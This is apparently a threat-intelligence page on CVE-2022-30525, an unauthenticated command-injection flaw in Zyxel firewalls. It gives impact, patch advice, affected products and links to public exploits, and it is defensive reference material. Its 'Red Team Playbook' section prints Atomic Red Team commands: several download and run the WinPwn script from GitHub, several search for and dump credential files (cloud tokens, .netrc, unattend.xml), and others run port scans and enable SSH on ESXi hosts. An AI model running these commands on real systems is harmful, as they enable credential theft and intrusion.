CVE-2022-30525

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 12/05 Upd 21/10

Overview

This vulnerability is an OS command injection flaw rooted in improper input validation within the CGI program of Zyxel USG FLEX and VPN series firmware. The affected component fails to sanitize user-supplied parameters in HTTP POST requests, allowing injection of arbitrary shell commands. The flaw specifically resides in the handler interface used for device configuration tasks, enabling execution of injected commands at the operating system level.

Vulnerability Description

A OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.

Impact

An unauthenticated attacker can remotely execute arbitrary operating system commands on affected Zyxel devices by exploiting this vulnerability. This enables modification of system files, deployment of malicious payloads, and full compromise of device confidentiality, integrity, and availability. The attacker gains control without requiring any credentials or user interaction, potentially leading to network disruption, data exfiltration, or persistent backdoors within enterprise firewall infrastructure.

Solution

Apply firmware updates provided by Zyxel that address this vulnerability, specifically versions later than 5.21 Patch 1 for USG FLEX, ATP, and VPN series devices. Refer to Zyxel's official security advisory at https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml for detailed patch instructions and version information. No alternative workarounds are documented; prompt firmware upgrade is recommended to mitigate the issue.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the CGI program of specific Zyxel firewall and VPN firmware versions presents a critical risk due to its nature as an OS command injection flaw. This type of vulnerability occurs when an application improperly sanitizes user input, allowing an attacker to execute arbitrary commands on the underlying operating system. In this case, the affected devices include various models within the USG FLEX series, as well as several VPN and ATP series products. The flaw allows an attacker to modify specific files on the device, which could lead to unauthorized command execution, potentially compromising the device's integrity and security.

Exploitation of this vulnerability can occur through multiple attack vectors. An attacker could leverage crafted HTTP requests targeting the vulnerable CGI scripts, which are designed to process user input. By injecting malicious commands into these requests, an attacker could manipulate the device to execute arbitrary OS commands. This could lead to a range of malicious activities, including data exfiltration, unauthorized access to sensitive information, or even the complete takeover of the device. The ease of exploitation, combined with the high privileges typically associated with these devices, makes this vulnerability particularly dangerous.

The real-world impact of this vulnerability is significant, especially for organizations that rely on Zyxel products for their network security. Successful exploitation could lead to severe business risks, including data breaches, loss of customer trust, and potential regulatory penalties. Organizations may face downtime as they respond to incidents, and the financial implications of remediation efforts can be substantial. Furthermore, the potential for lateral movement within a network could expose additional systems to compromise, amplifying the overall risk landscape.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions released by Zyxel is crucial, as these updates often include patches for known vulnerabilities. Network monitoring tools should be employed to detect unusual traffic patterns that may indicate exploitation attempts. Additionally, employing intrusion detection systems (IDS) can help identify and alert on suspicious activities related to command injection attempts. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited.

In conclusion, the OS command injection vulnerability in Zyxel's firmware poses a serious threat to network security, with the potential for significant operational and financial consequences. Organizations must prioritize the implementation of robust security measures, including timely updates, monitoring, and proactive assessments, to safeguard their systems against this and similar vulnerabilities. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such threats and maintain the integrity of their network environments.




CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2022-30525, as reflected by a modest uptick in telemetry signals. While the overall exploitation trend remains stable, the emergence of additional publicly available proof-of-concept exploits has lowered the barrier for adversaries to weaponize this critical OS command injection vulnerability in Zyxel USG FLEX devices. This development is significant because it broadens the pool of potential attackers, including less sophisticated actors who can now leverage these tools to conduct unauthorized remote command execution. Although ransomware usage linked to this vulnerability remains unconfirmed, the increased accessibility of exploit code heightens the risk of opportunistic attacks that could disrupt network operations or facilitate lateral movement within compromised environments. Consequently, the threat level associated with CVE-2022-30525 should be considered elevated, warranting continued vigilance in monitoring and detection efforts to identify and respond to exploitation attempts promptly.

Affected Products (16)

Vendor Product Version CPE
zyxel Zyxel Usg Flex 100w Firmware All cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Flex 200 Firmware All cpe:2.3:o:zyxel:usg_flex_200_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Flex 500 Firmware All cpe:2.3:o:zyxel:usg_flex_500_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Flex 700 Firmware All cpe:2.3:o:zyxel:usg_flex_700_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vpn100 Firmware All cpe:2.3:o:zyxel:vpn100_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vpn1000 Firmware All cpe:2.3:o:zyxel:vpn1000_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vpn300 Firmware All cpe:2.3:o:zyxel:vpn300_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vpn50 Firmware All cpe:2.3:o:zyxel:vpn50_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Atp100 Firmware All cpe:2.3:o:zyxel:atp100_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Atp100w Firmware All cpe:2.3:o:zyxel:atp100w_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Atp200 Firmware All cpe:2.3:o:zyxel:atp200_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Atp500 Firmware All cpe:2.3:o:zyxel:atp500_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Atp700 Firmware All cpe:2.3:o:zyxel:atp700_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Atp800 Firmware All cpe:2.3:o:zyxel:atp800_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Flex 50w Firmware All cpe:2.3:o:zyxel:usg_flex_50w_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg20w-Vpn Firmware All cpe:2.3:o:zyxel:usg20w-vpn_firmware:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (2)

Module Authors Rank Platform Link
Zyxel Firewall ZTP Unauthenticated Command Injection
exploits/linux/http/zyxel_ztp_rce
jbaines-r7 Unknown - View
Zyxel Firewall SUID Binary Privilege Escalation
exploits/linux/local/zyxel_suid_cp_lpe
jbaines-r7 Unknown - View

ExploitDB (1)

Title Author Type Platform Date Link
Zyxel USG FLEX 5.21 - OS Command Injection Valentin Lobstein remote hardware - View

GitHub PoCs (15)

Repository Author Stars Forks Date Link
shuai06/CVE-2022-30525
Zyxel 防火墙远程命令注入漏洞(CVE-2022-30525)批量检测脚本
shuai06 33 10 2022-05-13 View
jbaines-r7/victorian_machinery
Proof of concept exploit for CVE-2022-30525 (Zxyel firewall command injection)
jbaines-r7 30 13 2022-05-10 View
Henry4E36/CVE-2022-30525
Zyxel 防火墙远程命令注入漏洞(CVE-2022-30525)
Henry4E36 22 2 2022-05-13 View
west9b/CVE-2022-30525
CVE-2022-30525 Zyxel 防火墙命令注入漏洞 POC&EXPC
west9b 12 3 2022-05-28 View
savior-only/CVE-2022-30525
Zyxel 防火墙未经身份验证的远程命令注入
savior-only 4 2 2022-05-13 View
Chocapikk/CVE-2022-30525-Reverse-Shell
Simple python script to exploit CVE-2022-30525 (FIXED): Zyxel Firewall Unauthenticated Remote Command Injection
Chocapikk 4 1 2022-05-18 View
k0sf/CVE-2022-30525
CVE-2022-30525(Zxyel 防火墙命令注入)的概念证明漏洞利用
k0sf 3 0 2022-05-16 View
iveresk/cve-2022-30525
Initial POC for the CVE-2022-30525
iveresk 3 0 2022-05-23 View
ProngedFork/CVE-2022-30525
CVE-2022-30525 POC
ProngedFork 1 1 2022-06-13 View
M4fiaB0y/CVE-2022-30525
Zyxel Firewall Remote Command Injection Vulnerability (CVE-2022-30525) Batch Detection Script
M4fiaB0y 1 1 2022-05-15 View
cbk914/CVE-2022-30525_check
cbk914 2 0 2023-01-15 View
arajsingh-infosec/CVE-2022-30525_Exploit
Exploit for CVE-2022-30525
arajsingh-infosec 1 1 2024-02-27 View
furkanzengin/CVE-2022-30525
A OS Command Injection Vulnerability in the CGI Program of Zyxel
furkanzengin 1 0 2022-06-12 View
superzerosec/CVE-2022-30525
CVE-2022-30525 POC exploit
superzerosec 1 0 2022-05-16 View
160Team/CVE-2022-30525
CVE-2022-30525 Zyxel防火墙命令注入漏洞 POC&EXP
160Team 0 0 2022-05-19 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

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2026-07-10
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2022-05-16
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2022-05-10
PoC Published (15 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2022-04-28
Exploit Published (1 ExploitDB, 2 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
80% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
55%
High High
CAPEC-6 Argument Injection
51%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
48%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

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References (7)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2022-30525
zyxel.com
GitHub CVE x_refsource_CONFIRM
https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/167182/Zyxel-Firewall-ZTP-Unauthenticated-Command-Injection.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/167372/Zyxel-USG-FLEX-5.21-Command-Injection.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/168202/Zyxel-Firewall-SUID-Binary-Privilege-Escalation.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-30525